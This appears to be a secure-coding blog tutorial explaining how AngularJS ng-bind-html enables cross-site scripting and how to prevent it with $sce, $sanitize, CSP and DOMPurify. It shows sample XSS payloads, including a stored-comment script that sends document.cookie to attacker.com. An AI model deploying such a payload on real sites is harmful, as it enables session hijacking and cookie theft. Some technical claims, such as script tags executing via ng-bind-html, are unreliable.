ng-bind-html causing Cross-Site Scripting (XSS)

Loading

Angular’s ng-bind-html directive allows you to bind HTML content dynamically. However, if untrusted user-generated content is passed without proper sanitization, it can lead to Cross-Site Scripting (XSS) attacks. This can allow attackers to execute malicious JavaScript in a victim’s browser, leading to data theft, session hijacking, or other security breaches.


1. Understanding ng-bind-html and Why It Can Be Dangerous

What is ng-bind-html?

ng-bind-html is an Angular directive that dynamically binds HTML content into an element and renders it as actual HTML.

Example:

<div ng-bind-html="userInput"></div>

If userInput contains:

$scope.userInput = "<script>alert('XSS Attack!');</script>";

The browser executes this script, leading to an XSS attack.


2. How Does XSS Happen with ng-bind-html?

XSS can occur in two main ways when using ng-bind-html:

1. Direct User Input Injection

If user input is directly assigned to ng-bind-html without sanitization, attackers can inject scripts.

Example (Vulnerable Code)

<div ng-bind-html="userInput"></div>
$scope.userInput = "<script>alert('XSS!');</script>";

This executes the script and triggers an XSS attack.

2. Manipulating Stored Data

If an application stores user-generated HTML (e.g., a blog comment system) and renders it via ng-bind-html, an attacker can inject:

<b>Click here!</b><script>fetch('https://attacker.com/steal?cookies=' + document.cookie);</script>

This sends the user’s cookies to the attacker’s server.


3. How to Prevent XSS with ng-bind-html?

1. Use $sce.trustAsHtml Cautiously

Angular has a Strict Contextual Escaping (SCE) mechanism through $sce to prevent XSS.

Bad Practice:

$scope.userInput = $sce.trustAsHtml("<script>alert('Hacked!');</script>");

This bypasses Angular’s built-in security and is dangerous.

Secure Approach:

$scope.safeHTML = $sce.trustAsHtml(sanitizeHtml(userInput));

This ensures only safe HTML is rendered.


2. Use Angular’s $sanitize Service

Angular provides a built-in $sanitize service that automatically removes malicious scripts.

First, include the ngSanitize module:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular-sanitize/1.8.2/angular-sanitize.min.js"></script>

Then, inject $sanitize into the controller:

app.controller("MainCtrl", function ($scope, $sanitize) {
$scope.userInput = $sanitize("<script>alert('XSS');</script>"); // Removes script tag
});

Effect: The <script> tag is stripped, preventing XSS.


3. Use a Content Security Policy (CSP)

A CSP helps block XSS by restricting script execution.

Add this in your server’s HTTP headers:

Content-Security-Policy: default-src 'self'; script-src 'self';

This prevents inline scripts from running, even if injected.


4. Never Use dangerouslySetInnerHTML in React

If migrating to React, avoid:

<div dangerouslySetInnerHTML={{ __html: userInput }} />

Instead, use DOMPurify:

import DOMPurify from "dompurify";
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

Leave a Reply

Your email address will not be published. Required fields are marked *